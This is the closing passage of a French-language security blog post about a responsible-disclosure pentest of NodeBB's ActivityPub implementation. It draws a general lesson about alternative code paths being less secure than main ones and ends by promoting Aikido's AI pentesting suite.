NodeBB a été très rapide à répondre à notre rapport, ce que nous avons grandement apprécié. Ils ont demandé des éclaircissements sur certains points, et nous avons pu fournir des retours sur les correctifs pour s'assurer qu'il n'y ait pas de contournements triviaux.
Un dernier point à retenir. Lors de ce pentest, nous avons constaté de nombreuses vulnérabilités dans l'implémentation d'ActivityPub, et nous pensons que cela peut être généralisé et appliqué à d'autres applications. Chaque fois qu'il existe plusieurs façons de faire les choses, la méthode la plus courante ou intégrée est souvent fortement sécurisée, tandis que la méthode alternative est truffée de bugs. Assurez-vous que toutes vos intégrations externes et vos routes alternatives sont aussi sécurisées que vos principales !
Notre outil de pentest IA a découvert cela de lui-même. Si vous souhaitez un pentest rapide et de haute qualité pour votre application, découvrez la suite de pentesting d'Aikido.

